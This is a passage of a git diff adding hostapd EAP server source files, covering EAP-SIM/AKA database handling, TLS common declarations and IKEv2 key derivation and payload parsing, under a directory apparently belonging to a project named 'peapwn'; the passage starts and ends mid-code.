eap_sim_db_add_reauth - EAP-SIM DB: Add new re-authentication entry + * @priv: Private data pointer from eap_sim_db_init() + * @permanent: Permanent username + * @identity_len: Length of identity + * @reauth_id: reauth_id for this user. This needs to be an allocated buffer, + * e.g., return value from eap_sim_db_get_next_reauth_id(). Caller must not + * free it. + * @counter: AT_COUNTER value for fast re-authentication + * @mk: 16-byte MK from the previous full authentication or %NULL + * Returns: 0 on success, -1 on failure + * + * This function adds a new re-authentication entry for an EAP-SIM user. + * EAP-SIM DB is responsible of freeing reauth_id buffer once it is not needed + * anymore. + */ +int eap_sim_db_add_reauth(struct eap_sim_db_data *data, const char *permanent, + char *reauth_id, u16 counter, const u8 *mk) +{ + struct eap_sim_reauth *r; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Add reauth_id '%s' for permanent " + "identity '%s'", reauth_id, permanent); + +#ifdef CONFIG_SQLITE + if (data->sqlite_db) + return db_add_reauth(data, permanent, reauth_id, counter, mk, + NULL, NULL, NULL); +#endif /* CONFIG_SQLITE */ + r = eap_sim_db_add_reauth_data(data, permanent, reauth_id, counter); + if (r == NULL) + return -1; + + os_memcpy(r->mk, mk, EAP_SIM_MK_LEN); + + return 0; +} + + +#ifdef EAP_SERVER_AKA_PRIME +/** + * eap_sim_db_add_reauth_prime - EAP-AKA' DB: Add new re-authentication entry + * @data: Private data pointer from eap_sim_db_init() + * @permanent: Permanent username + * @reauth_id: reauth_id for this user. This needs to be an allocated buffer, + * e.g., return value from eap_sim_db_get_next_reauth_id(). Caller must not + * free it. + * @counter: AT_COUNTER value for fast re-authentication + * @k_encr: K_encr from the previous full authentication + * @k_aut: K_aut from the previous full authentication + * @k_re: 32-byte K_re from the previous full authentication + * Returns: 0 on success, -1 on failure + * + * This function adds a new re-authentication entry for an EAP-AKA' user. + * EAP-SIM DB is responsible of freeing reauth_id buffer once it is not needed + * anymore. + */ +int eap_sim_db_add_reauth_prime(struct eap_sim_db_data *data, + const char *permanent, char *reauth_id, + u16 counter, const u8 *k_encr, + const u8 *k_aut, const u8 *k_re) +{ + struct eap_sim_reauth *r; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Add reauth_id '%s' for permanent " + "identity '%s'", reauth_id, permanent); + +#ifdef CONFIG_SQLITE + if (data->sqlite_db) + return db_add_reauth(data, permanent, reauth_id, counter, NULL, + k_encr, k_aut, k_re); +#endif /* CONFIG_SQLITE */ + r = eap_sim_db_add_reauth_data(data, permanent, reauth_id, counter); + if (r == NULL) + return -1; + + os_memcpy(r->k_encr, k_encr, EAP_SIM_K_ENCR_LEN); + os_memcpy(r->k_aut, k_aut, EAP_AKA_PRIME_K_AUT_LEN); + os_memcpy(r->k_re, k_re, EAP_AKA_PRIME_K_RE_LEN); + + return 0; +} +#endif /* EAP_SERVER_AKA_PRIME */ + + +/** + * eap_sim_db_get_permanent - EAP-SIM DB: Get permanent identity + * @data: Private data pointer from eap_sim_db_init() + * @pseudonym: Pseudonym username + * Returns: Pointer to permanent username or %NULL if not found + */ +const char * +eap_sim_db_get_permanent(struct eap_sim_db_data *data, const char *pseudonym) +{ + struct eap_sim_pseudonym *p; + +#ifdef CONFIG_SQLITE + if (data->sqlite_db) + return db_get_pseudonym(data, pseudonym); +#endif /* CONFIG_SQLITE */ + + p = data->pseudonyms; + while (p) { + if (os_strcmp(p->pseudonym, pseudonym) == 0) + return p->permanent; + p = p->next; + } + + return NULL; +} + + +/** + * eap_sim_db_get_reauth_entry - EAP-SIM DB: Get re-authentication entry + * @data: Private data pointer from eap_sim_db_init() + * @reauth_id: Fast re-authentication username + * Returns: Pointer to the re-auth entry, or %NULL if not found + */ +struct eap_sim_reauth * +eap_sim_db_get_reauth_entry(struct eap_sim_db_data *data, + const char *reauth_id) +{ + struct eap_sim_reauth *r; + +#ifdef CONFIG_SQLITE + if (data->sqlite_db) + return db_get_reauth(data, reauth_id); +#endif /* CONFIG_SQLITE */ + + r = data->reauths; + while (r) { + if (os_strcmp(r->reauth_id, reauth_id) == 0) + break; + r = r->next; + } + + return r; +} + + +/** + * eap_sim_db_remove_reauth - EAP-SIM DB: Remove re-authentication entry + * @data: Private data pointer from eap_sim_db_init() + * @reauth: Pointer to re-authentication entry from + * eap_sim_db_get_reauth_entry() + */ +void eap_sim_db_remove_reauth(struct eap_sim_db_data *data, + struct eap_sim_reauth *reauth) +{ + struct eap_sim_reauth *r, *prev = NULL; +#ifdef CONFIG_SQLITE + if (data->sqlite_db) { + db_remove_reauth(data, reauth); + return; + } +#endif /* CONFIG_SQLITE */ + r = data->reauths; + while (r) { + if (r == reauth) { + if (prev) + prev->next = r->next; + else + data->reauths = r->next; + eap_sim_db_free_reauth(r); + return; + } + prev = r; + r = r->next; + } +} + + +/** + * eap_sim_db_get_aka_auth - Get AKA authentication values + * @data: Private data pointer from eap_sim_db_init() + * @username: Permanent username (prefix | IMSI) + * @_rand: Buffer for RAND value + * @autn: Buffer for AUTN value + * @ik: Buffer for IK value + * @ck: Buffer for CK value + * @res: Buffer for RES value + * @res_len: Buffer for RES length + * @cb_session_ctx: Session callback context for get_complete_cb() + * Returns: 0 on success, -1 (EAP_SIM_DB_FAILURE) on error (e.g., user not + * found), or -2 (EAP_SIM_DB_PENDING) if results are not yet available. In this + * case, the callback function registered with eap_sim_db_init() will be + * called once the results become available. + * + * When using an external server for AKA authentication, this function can + * always start a request and return EAP_SIM_DB_PENDING immediately if + * authentication triplets are not available. Once the authentication data are + * received, callback function registered with eap_sim_db_init() is called to + * notify EAP state machine to reprocess the message. This + * eap_sim_db_get_aka_auth() function will then be called again and the newly + * received triplets will then be given to the caller. + */ +int eap_sim_db_get_aka_auth(struct eap_sim_db_data *data, const char *username, + u8 *_rand, u8 *autn, u8 *ik, u8 *ck, + u8 *res, size_t *res_len, void *cb_session_ctx) +{ + struct eap_sim_db_pending *entry; + int len; + char msg[40]; + const char *imsi; + size_t imsi_len; + + if (username == NULL || + (username[0] != EAP_AKA_PERMANENT_PREFIX && + username[0] != EAP_AKA_PRIME_PERMANENT_PREFIX) || + username[1] == '\0' || os_strlen(username) > sizeof(entry->imsi)) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: unexpected username '%s'", + username); + return EAP_SIM_DB_FAILURE; + } + imsi = username + 1; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Get AKA auth for IMSI '%s'", + imsi); + + entry = eap_sim_db_get_pending(data, imsi, 1); + if (entry) { + if (entry->state == FAILURE) { + os_free(entry); + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Failure"); + return EAP_SIM_DB_FAILURE; + } + + if (entry->state == PENDING) { + eap_sim_db_add_pending(data, entry); + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Pending"); + return EAP_SIM_DB_PENDING; + } + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Returning successfully " + "received authentication data"); + os_memcpy(_rand, entry->u.aka.rand, EAP_AKA_RAND_LEN); + os_memcpy(autn, entry->u.aka.autn, EAP_AKA_AUTN_LEN); + os_memcpy(ik, entry->u.aka.ik, EAP_AKA_IK_LEN); + os_memcpy(ck, entry->u.aka.ck, EAP_AKA_CK_LEN); + os_memcpy(res, entry->u.aka.res, EAP_AKA_RES_MAX_LEN); + *res_len = entry->u.aka.res_len; + os_free(entry); + return 0; + } + + if (data->sock < 0) { + if (eap_sim_db_open_socket(data) < 0) + return EAP_SIM_DB_FAILURE; + } + + imsi_len = os_strlen(imsi); + len = os_snprintf(msg, sizeof(msg), "AKA-REQ-AUTH "); + if (len < 0 || len + imsi_len >= sizeof(msg)) + return EAP_SIM_DB_FAILURE; + os_memcpy(msg + len, imsi, imsi_len); + len += imsi_len; + + wpa_printf(MSG_DEBUG, "EAP-SIM DB: requesting AKA authentication " + "data for IMSI '%s'", imsi); + if (eap_sim_db_send(data, msg, len) < 0) + return EAP_SIM_DB_FAILURE; + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) + return EAP_SIM_DB_FAILURE; + + os_get_time(&entry->timestamp); + entry->aka = 1; + os_strlcpy(entry->imsi, imsi, sizeof(entry->imsi)); + entry->cb_session_ctx = cb_session_ctx; + entry->state = PENDING; + eap_sim_db_add_pending(data, entry); + eap_sim_db_expire_pending(data); + + return EAP_SIM_DB_PENDING; +} + + +/** + * eap_sim_db_resynchronize - Resynchronize AKA AUTN + * @data: Private data pointer from eap_sim_db_init() + * @username: Permanent username + * @auts: AUTS value from the peer + * @_rand: RAND value used in the rejected message + * Returns: 0 on success, -1 on failure + * + * This function is called when the peer reports synchronization failure in the + * AUTN value by sending AUTS. The AUTS and RAND values should be sent to + * HLR/AuC to allow it to resynchronize with the peer. After this, + * eap_sim_db_get_aka_auth() will be called again to to fetch updated + * RAND/AUTN values for the next challenge. + */ +int eap_sim_db_resynchronize(struct eap_sim_db_data *data, + const char *username, + const u8 *auts, const u8 *_rand) +{ + const char *imsi; + size_t imsi_len; + + if (username == NULL || + (username[0] != EAP_AKA_PERMANENT_PREFIX && + username[0] != EAP_AKA_PRIME_PERMANENT_PREFIX) || + username[1] == '\0' || os_strlen(username) > 20) { + wpa_printf(MSG_DEBUG, "EAP-SIM DB: unexpected username '%s'", + username); + return -1; + } + imsi = username + 1; + wpa_printf(MSG_DEBUG, "EAP-SIM DB: Get AKA auth for IMSI '%s'", + imsi); + + if (data->sock >= 0) { + char msg[100]; + int len, ret; + + imsi_len = os_strlen(imsi); + len = os_snprintf(msg, sizeof(msg), "AKA-AUTS "); + if (len < 0 || len + imsi_len >= sizeof(msg)) + return -1; + os_memcpy(msg + len, imsi, imsi_len); + len += imsi_len; + + ret = os_snprintf(msg + len, sizeof(msg) - len, " "); + if (ret < 0 || (size_t) ret >= sizeof(msg) - len) + return -1; + len += ret; + len += wpa_snprintf_hex(msg + len, sizeof(msg) - len, + auts, EAP_AKA_AUTS_LEN); + ret = os_snprintf(msg + len, sizeof(msg) - len, " "); + if (ret < 0 || (size_t) ret >= sizeof(msg) - len) + return -1; + len += ret; + len += wpa_snprintf_hex(msg + len, sizeof(msg) - len, + _rand, EAP_AKA_RAND_LEN); + wpa_printf(MSG_DEBUG, "EAP-SIM DB: reporting AKA AUTS for " + "IMSI '%s'", imsi); + if (eap_sim_db_send(data, msg, len) < 0) + return -1; + } + + return 0; +} + + +/** + * sim_get_username - Extract username from SIM identity + * @identity: Identity + * @identity_len: Identity length + * Returns: Allocated buffer with the username part of the identity + * + * Caller is responsible for freeing the returned buffer with os_free(). + */ +char * sim_get_username(const u8 *identity, size_t identity_len) +{ + size_t pos; + + if (identity == NULL) + return NULL; + + for (pos = 0; pos < identity_len; pos++) { + if (identity[pos] == '@' || identity[pos] == '\0') + break; + } + + return dup_binstr(identity, pos); +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_sim_db.h b/peapwn/mods/hostap/src/eap_server/eap_sim_db.h new file mode 100644 index 000000000..53a1a7c3b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_sim_db.h @@ -0,0 +1,95 @@ +/* + * hostapd / EAP-SIM database/authenticator gateway + * Copyright (c) 2005-2008, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_SIM_DB_H +#define EAP_SIM_DB_H + +#include "eap_common/eap_sim_common.h" + +/* Identity prefixes */ +#define EAP_SIM_PERMANENT_PREFIX '1' +#define EAP_SIM_PSEUDONYM_PREFIX '3' +#define EAP_SIM_REAUTH_ID_PREFIX '5' +#define EAP_AKA_PERMANENT_PREFIX '0' +#define EAP_AKA_PSEUDONYM_PREFIX '2' +#define EAP_AKA_REAUTH_ID_PREFIX '4' +#define EAP_AKA_PRIME_PERMANENT_PREFIX '6' +#define EAP_AKA_PRIME_PSEUDONYM_PREFIX '7' +#define EAP_AKA_PRIME_REAUTH_ID_PREFIX '8' + +enum eap_sim_db_method { + EAP_SIM_DB_SIM, + EAP_SIM_DB_AKA, + EAP_SIM_DB_AKA_PRIME +}; + +struct eap_sim_db_data; + +struct eap_sim_db_data * +eap_sim_db_init(const char *config, + void (*get_complete_cb)(void *ctx, void *session_ctx), + void *ctx); + +void eap_sim_db_deinit(void *priv); + +int eap_sim_db_get_gsm_triplets(struct eap_sim_db_data *data, + const char *username, int max_chal, + u8 *_rand, u8 *kc, u8 *sres, + void *cb_session_ctx); + +#define EAP_SIM_DB_FAILURE -1 +#define EAP_SIM_DB_PENDING -2 + +char * eap_sim_db_get_next_pseudonym(struct eap_sim_db_data *data, + enum eap_sim_db_method method); + +char * eap_sim_db_get_next_reauth_id(struct eap_sim_db_data *data, + enum eap_sim_db_method method); + +int eap_sim_db_add_pseudonym(struct eap_sim_db_data *data, + const char *permanent, char *pseudonym); + +int eap_sim_db_add_reauth(struct eap_sim_db_data *data, const char *permanent, + char *reauth_id, u16 counter, const u8 *mk); +int eap_sim_db_add_reauth_prime(struct eap_sim_db_data *data, + const char *permanent, + char *reauth_id, u16 counter, const u8 *k_encr, + const u8 *k_aut, const u8 *k_re); + +const char * eap_sim_db_get_permanent(struct eap_sim_db_data *data, + const char *pseudonym); + +struct eap_sim_reauth { + struct eap_sim_reauth *next; + char *permanent; /* Permanent username */ + char *reauth_id; /* Fast re-authentication username */ + u16 counter; + u8 mk[EAP_SIM_MK_LEN]; + u8 k_encr[EAP_SIM_K_ENCR_LEN]; + u8 k_aut[EAP_AKA_PRIME_K_AUT_LEN]; + u8 k_re[EAP_AKA_PRIME_K_RE_LEN]; +}; + +struct eap_sim_reauth * +eap_sim_db_get_reauth_entry(struct eap_sim_db_data *data, + const char *reauth_id); + +void eap_sim_db_remove_reauth(struct eap_sim_db_data *data, + struct eap_sim_reauth *reauth); + +int eap_sim_db_get_aka_auth(struct eap_sim_db_data *data, const char *username, + u8 *_rand, u8 *autn, u8 *ik, u8 *ck, + u8 *res, size_t *res_len, void *cb_session_ctx); + +int eap_sim_db_resynchronize(struct eap_sim_db_data *data, + const char *username, const u8 *auts, + const u8 *_rand); + +char * sim_get_username(const u8 *identity, size_t identity_len); + +#endif /* EAP_SIM_DB_H */ diff --git a/peapwn/mods/hostap/src/eap_server/eap_tls_common.h b/peapwn/mods/hostap/src/eap_server/eap_tls_common.h new file mode 100644 index 000000000..11f582751 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_tls_common.h @@ -0,0 +1,90 @@ +/* + * EAP-TLS/PEAP/TTLS/FAST server common functions + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_TLS_COMMON_H +#define EAP_TLS_COMMON_H + +/** + * struct eap_ssl_data - TLS data for EAP methods + */ +struct eap_ssl_data { + /** + * conn - TLS connection context data from tls_connection_init() + */ + struct tls_connection *conn; + + /** + * tls_out - TLS message to be sent out in fragments + */ + struct wpabuf *tls_out; + + /** + * tls_out_pos - The current position in the outgoing TLS message + */ + size_t tls_out_pos; + + /** + * tls_out_limit - Maximum fragment size for outgoing TLS messages + */ + size_t tls_out_limit; + + /** + * tls_in - Received TLS message buffer for re-assembly + */ + struct wpabuf *tls_in; + + /** + * phase2 - Whether this TLS connection is used in EAP phase 2 (tunnel) + */ + int phase2; + + /** + * eap - EAP state machine allocated with eap_server_sm_init() + */ + struct eap_sm *eap; + + enum { MSG, FRAG_ACK, WAIT_FRAG_ACK } state; + struct wpabuf tmpbuf; +}; + + +/* EAP TLS Flags */ +#define EAP_TLS_FLAGS_LENGTH_INCLUDED 0x80 +#define EAP_TLS_FLAGS_MORE_FRAGMENTS 0x40 +#define EAP_TLS_FLAGS_START 0x20 +#define EAP_TLS_VERSION_MASK 0x07 + + /* could be up to 128 bytes, but only the first 64 bytes are used */ +#define EAP_TLS_KEY_LEN 64 + +/* dummy type used as a flag for UNAUTH-TLS */ +#define EAP_UNAUTH_TLS_TYPE 255 + + +struct wpabuf * eap_tls_msg_alloc(EapType type, size_t payload_len, + u8 code, u8 identifier); +int eap_server_tls_ssl_init(struct eap_sm *sm, struct eap_ssl_data *data, + int verify_peer); +void eap_server_tls_ssl_deinit(struct eap_sm *sm, struct eap_ssl_data *data); +u8 * eap_server_tls_derive_key(struct eap_sm *sm, struct eap_ssl_data *data, + char *label, size_t len); +struct wpabuf * eap_server_tls_build_msg(struct eap_ssl_data *data, + int eap_type, int version, u8 id); +struct wpabuf * eap_server_tls_build_ack(u8 id, int eap_type, int version); +int eap_server_tls_phase1(struct eap_sm *sm, struct eap_ssl_data *data); +struct wpabuf * eap_server_tls_encrypt(struct eap_sm *sm, + struct eap_ssl_data *data, + const struct wpabuf *plain); +int eap_server_tls_process(struct eap_sm *sm, struct eap_ssl_data *data, + struct wpabuf *respData, void *priv, int eap_type, + int (*proc_version)(struct eap_sm *sm, void *priv, + int peer_version), + void (*proc_msg)(struct eap_sm *sm, void *priv, + const struct wpabuf *respData)); + +#endif /* EAP_TLS_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_server/ikev2.c b/peapwn/mods/hostap/src/eap_server/ikev2.c new file mode 100644 index 000000000..512ba3074 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/ikev2.c @@ -0,0 +1,1200 @@ +/* + * IKEv2 initiator (RFC 4306) for EAP-IKEV2 + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/dh_groups.h" +#include "crypto/random.h" +#include "ikev2.h" + + +static int ikev2_process_idr(struct ikev2_initiator_data *data, + const u8 *idr, size_t idr_len); + + +void ikev2_initiator_deinit(struct ikev2_initiator_data *data) +{ + ikev2_free_keys(&data->keys); + wpabuf_free(data->r_dh_public); + wpabuf_free(data->i_dh_private); + os_free(data->IDi); + os_free(data->IDr); + os_free(data->shared_secret); + wpabuf_free(data->i_sign_msg); + wpabuf_free(data->r_sign_msg); + os_free(data->key_pad); +} + + +static int ikev2_derive_keys(struct ikev2_initiator_data *data) +{ + u8 *buf, *pos, *pad, skeyseed[IKEV2_MAX_HASH_LEN]; + size_t buf_len, pad_len; + struct wpabuf *shared; + const struct ikev2_integ_alg *integ; + const struct ikev2_prf_alg *prf; + const struct ikev2_encr_alg *encr; + int ret; + const u8 *addr[2]; + size_t len[2]; + + /* RFC 4306, Sect. 2.14 */ + + integ = ikev2_get_integ(data->proposal.integ); + prf = ikev2_get_prf(data->proposal.prf); + encr = ikev2_get_encr(data->proposal.encr); + if (integ == NULL || prf == NULL || encr == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported proposal"); + return -1; + } + + shared = dh_derive_shared(data->r_dh_public, data->i_dh_private, + data->dh); + if (shared == NULL) + return -1; + + /* Construct Ni | Nr | SPIi | SPIr */ + + buf_len = data->i_nonce_len + data->r_nonce_len + 2 * IKEV2_SPI_LEN; + buf = os_malloc(buf_len); + if (buf == NULL) { + wpabuf_free(shared); + return -1; + } + + pos = buf; + os_memcpy(pos, data->i_nonce, data->i_nonce_len); + pos += data->i_nonce_len; + os_memcpy(pos, data->r_nonce, data->r_nonce_len); + pos += data->r_nonce_len; + os_memcpy(pos, data->i_spi, IKEV2_SPI_LEN); + pos += IKEV2_SPI_LEN; + os_memcpy(pos, data->r_spi, IKEV2_SPI_LEN); + + /* SKEYSEED = prf(Ni | Nr, g^ir) */ + + /* Use zero-padding per RFC 4306, Sect. 2.14 */ + pad_len = data->dh->prime_len - wpabuf_len(shared); + pad = os_zalloc(pad_len ? pad_len : 1); + if (pad == NULL) { + wpabuf_free(shared); + os_free(buf); + return -1; + } + addr[0] = pad; + len[0] = pad_len; + addr[1] = wpabuf_head(shared); + len[1] = wpabuf_len(shared); + if (ikev2_prf_hash(prf->id, buf, data->i_nonce_len + data->r_nonce_len, + 2, addr, len, skeyseed) < 0) { + wpabuf_free(shared); + os_free(buf); + os_free(pad); + return -1; + } + os_free(pad); + wpabuf_free(shared); + + /* DH parameters are not needed anymore, so free them */ + wpabuf_free(data->r_dh_public); + data->r_dh_public = NULL; + wpabuf_free(data->i_dh_private); + data->i_dh_private = NULL; + + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SKEYSEED", + skeyseed, prf->hash_len); + + ret = ikev2_derive_sk_keys(prf, integ, encr, skeyseed, buf, buf_len, + &data->keys); + os_free(buf); + return ret; +} + + +static int ikev2_parse_transform(struct ikev2_initiator_data *data, + struct ikev2_proposal_data *prop, + const u8 *pos, const u8 *end) +{ + int transform_len; + const struct ikev2_transform *t; + u16 transform_id; + const u8 *tend; + + if (end - pos < (int) sizeof(*t)) { + wpa_printf(MSG_INFO, "IKEV2: Too short transform"); + return -1; + } + + t = (const struct ikev2_transform *) pos; + transform_len = WPA_GET_BE16(t->transform_length); + if (transform_len < (int) sizeof(*t) || pos + transform_len > end) { + wpa_printf(MSG_INFO, "IKEV2: Invalid transform length %d", + transform_len); + return -1; + } + tend = pos + transform_len; + + transform_id = WPA_GET_BE16(t->transform_id); + + wpa_printf(MSG_DEBUG, "IKEV2: Transform:"); + wpa_printf(MSG_DEBUG, "IKEV2: Type: %d Transform Length: %d " + "Transform Type: %d Transform ID: %d", + t->type, transform_len, t->transform_type, transform_id); + + if (t->type != 0 && t->type != 3) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Transform type"); + return -1; + } + + pos = (const u8 *) (t + 1); + if (pos < tend) { + wpa_hexdump(MSG_DEBUG, "IKEV2: Transform Attributes", + pos, tend - pos); + } + + switch (t->transform_type) { + case IKEV2_TRANSFORM_ENCR: + if (ikev2_get_encr(transform_id) && + transform_id == data->proposal.encr) { + if (transform_id == ENCR_AES_CBC) { + if (tend - pos != 4) { + wpa_printf(MSG_DEBUG, "IKEV2: No " + "Transform Attr for AES"); + break; + } + if (WPA_GET_BE16(pos) != 0x800e) { + wpa_printf(MSG_DEBUG, "IKEV2: Not a " + "Key Size attribute for " + "AES"); + break; + } + if (WPA_GET_BE16(pos + 2) != 128) { + wpa_printf(MSG_DEBUG, "IKEV2: " + "Unsupported AES key size " + "%d bits", + WPA_GET_BE16(pos + 2)); + break; + } + } + prop->encr = transform_id; + } + break; + case IKEV2_TRANSFORM_PRF: + if (ikev2_get_prf(transform_id) && + transform_id == data->proposal.prf) + prop->prf = transform_id; + break; + case IKEV2_TRANSFORM_INTEG: + if (ikev2_get_integ(transform_id) && + transform_id == data->proposal.integ) + prop->integ = transform_id; + break; + case IKEV2_TRANSFORM_DH: + if (dh_groups_get(transform_id) && + transform_id == data->proposal.dh) + prop->dh = transform_id; + break; + } + + return transform_len; +} + + +static int ikev2_parse_proposal(struct ikev2_initiator_data *data, + struct ikev2_proposal_data *prop, + const u8 *pos, const u8 *end) +{ + const u8 *pend, *ppos; + int proposal_len, i; + const struct ikev2_proposal *p; + + if (end - pos < (int) sizeof(*p)) { + wpa_printf(MSG_INFO, "IKEV2: Too short proposal"); + return -1; + } + + p = (const struct ikev2_proposal *) pos; + proposal_len = WPA_GET_BE16(p->proposal_length); + if (proposal_len < (int) sizeof(*p) || pos + proposal_len > end) { + wpa_printf(MSG_INFO, "IKEV2: Invalid proposal length %d", + proposal_len); + return -1; + } + wpa_printf(MSG_DEBUG, "IKEV2: SAi1 Proposal # %d", + p->proposal_num); + wpa_printf(MSG_DEBUG, "IKEV2: Type: %d Proposal Length: %d " + " Protocol ID: %d", + p->type, proposal_len, p->protocol_id); + wpa_printf(MSG_DEBUG, "IKEV2: SPI Size: %d Transforms: %d", + p->spi_size, p->num_transforms); + + if (p->type != 0 && p->type != 2) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Proposal type"); + return -1; + } + + if (p->protocol_id != IKEV2_PROTOCOL_IKE) { + wpa_printf(MSG_DEBUG, "IKEV2: Unexpected Protocol ID " + "(only IKE allowed for EAP-IKEv2)"); + return -1; + } + + if (p->proposal_num != prop->proposal_num) { + if (p->proposal_num == prop->proposal_num + 1) + prop->proposal_num = p->proposal_num; + else { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Proposal #"); + return -1; + } + } + + ppos = (const u8 *) (p + 1); + pend = pos + proposal_len; + if (ppos + p->spi_size > pend) { + wpa_printf(MSG_INFO, "IKEV2: Not enough room for SPI " + "in proposal"); + return -1; + } + if (p->spi_size) { + wpa_hexdump(MSG_DEBUG, "IKEV2: SPI", + ppos, p->spi_size); + ppos += p->spi_size; + } + + /* + * For initial IKE_SA negotiation, SPI Size MUST be zero; for + * subsequent negotiations, it must be 8 for IKE. We only support + * initial case for now. + */ + if (p->spi_size != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected SPI Size"); + return -1; + } + + if (p->num_transforms == 0) { + wpa_printf(MSG_INFO, "IKEV2: At least one transform required"); + return -1; + } + + for (i = 0; i < (int) p->num_transforms; i++) { + int tlen = ikev2_parse_transform(data, prop, ppos, pend); + if (tlen < 0) + return -1; + ppos += tlen; + } + + if (ppos != pend) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected data after " + "transforms"); + return -1; + } + + return proposal_len; +} + + +static int ikev2_process_sar1(struct ikev2_initiator_data *data, + const u8 *sar1, size_t sar1_len) +{ + struct ikev2_proposal_data prop; + const u8 *pos, *end; + int found = 0; + + /* Security Association Payloads: */ + + if (sar1 == NULL) { + wpa_printf(MSG_INFO, "IKEV2: SAr1 not received"); + return -1; + } + + os_memset(&prop, 0, sizeof(prop)); + prop.proposal_num = 1; + + pos = sar1; + end = sar1 + sar1_len; + + while (pos < end) { + int plen; + + prop.integ = -1; + prop.prf = -1; + prop.encr = -1; + prop.dh = -1; + plen = ikev2_parse_proposal(data, &prop, pos, end); + if (plen < 0) + return -1; + + if (!found && prop.integ != -1 && prop.prf != -1 && + prop.encr != -1 && prop.dh != -1) { + found = 1; + } + + pos += plen; + + /* Only one proposal expected in SAr */ + break; + } + + if (pos != end) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected data after proposal"); + return -1; + } + + if (!found) { + wpa_printf(MSG_INFO, "IKEV2: No acceptable proposal found"); + return -1; + } + + wpa_printf(MSG_DEBUG, "IKEV2: Accepted proposal #%d: ENCR:%d PRF:%d " + "INTEG:%d D-H:%d", data->proposal.proposal_num, + data->proposal.encr, data->proposal.prf, + data->proposal.integ, data->proposal.dh); + + return 0; +} + + +static int ikev2_process_ker(struct ikev2_initiator_data *data, + const u8 *ker, size_t ker_len) +{ + u16 group; + + /* + * Key Exchange Payload: + * DH Group # (16 bits) + * RESERVED (16 bits) + * Key Exchange Data (Diffie-Hellman public value) + */ + + if (ker == NULL) { + wpa_printf(MSG_INFO, "IKEV2: KEr not received"); + return -1; + } + + if (ker_len < 4 + 96) { + wpa_printf(MSG_INFO, "IKEV2: Too show Key Exchange Payload"); + return -1; + } + + group = WPA_GET_BE16(ker); + wpa_printf(MSG_DEBUG, "IKEV2: KEr DH Group #%u", group); + + if (group != data->proposal.dh) { + wpa_printf(MSG_DEBUG, "IKEV2: KEr DH Group #%u does not match " + "with the selected proposal (%u)", + group, data->proposal.dh); + return -1; + } + + if (data->dh == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported DH group"); + return -1; + } + + /* RFC 4306, Section 3.4: + * The length of DH public value MUST be equal to the length of the + * prime modulus. + */ + if (ker_len - 4 != data->dh->prime_len) { + wpa_printf(MSG_INFO, "IKEV2: Invalid DH public value length " + "%ld (expected %ld)", + (long) (ker_len - 4), (long) data->dh->prime_len); + return -1; + } + + wpabuf_free(data->r_dh_public); + data->r_dh_public = wpabuf_alloc_copy(ker + 4, ker_len - 4); + if (data->r_dh_public == NULL) + return -1; + + wpa_hexdump_buf(MSG_DEBUG, "IKEV2: KEr Diffie-Hellman Public Value", + data->r_dh_public); + + return 0; +} + + +static int ikev2_process_nr(struct ikev2_initiator_data *data, + const u8 *nr, size_t nr_len) +{ + if (nr == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Nr not received"); + return -1; + } + + if (nr_len < IKEV2_NONCE_MIN_LEN || nr_len > IKEV2_NONCE_MAX_LEN) { + wpa_printf(MSG_INFO, "IKEV2: Invalid Nr length %ld", + (long) nr_len); + return -1; + } + + data->r_nonce_len = nr_len; + os_memcpy(data->r_nonce, nr, nr_len); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Nr", + data->r_nonce, data->r_nonce_len); + + return 0; +} + + +static int ikev2_process_sa_init_encr(struct ikev2_initiator_data *data, + const struct ikev2_hdr *hdr, + const u8 *encrypted, + size_t encrypted_len, u8 next_payload) +{ + u8 *decrypted; + size_t decrypted_len; + struct ikev2_payloads pl; + int ret = 0; + + decrypted = ikev2_decrypt_payload(data->proposal.encr, + data->proposal.integ, &data->keys, 0, + hdr, encrypted, encrypted_len, + &decrypted_len); + if (decrypted == NULL) + return -1; + + wpa_printf(MSG_DEBUG, "IKEV2: Processing decrypted payloads"); + + if (ikev2_parse_payloads(&pl, next_payload, decrypted, + decrypted + decrypted_len) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Failed to parse decrypted " + "payloads"); + return -1; + } + + if (pl.idr) + ret = ikev2_process_idr(data, pl.idr, pl.idr_len); + + os_free(decrypted); + + return ret; +} + + +static int ikev2_process_sa_init(struct ikev2_initiator_data *data, + const struct ikev2_hdr *hdr, + struct ikev2_payloads *pl) +{ + if (ikev2_process_sar1(data, pl->sa, pl->sa_len) < 0 || + ikev2_process_ker(data, pl->ke, pl->ke_len) < 0 || + ikev2_process_nr(data, pl->nonce, pl->nonce_len) < 0) + return -1; + + os_memcpy(data->r_spi, hdr->r_spi, IKEV2_SPI_LEN); + + if (ikev2_derive_keys(data) < 0) + return -1; + + if (pl->encrypted) { + wpa_printf(MSG_DEBUG, "IKEV2: Encrypted payload in SA_INIT - " + "try to get IDr from it"); + if (ikev2_process_sa_init_encr(data, hdr, pl->encrypted, + pl->encrypted_len, + pl->encr_next_payload) 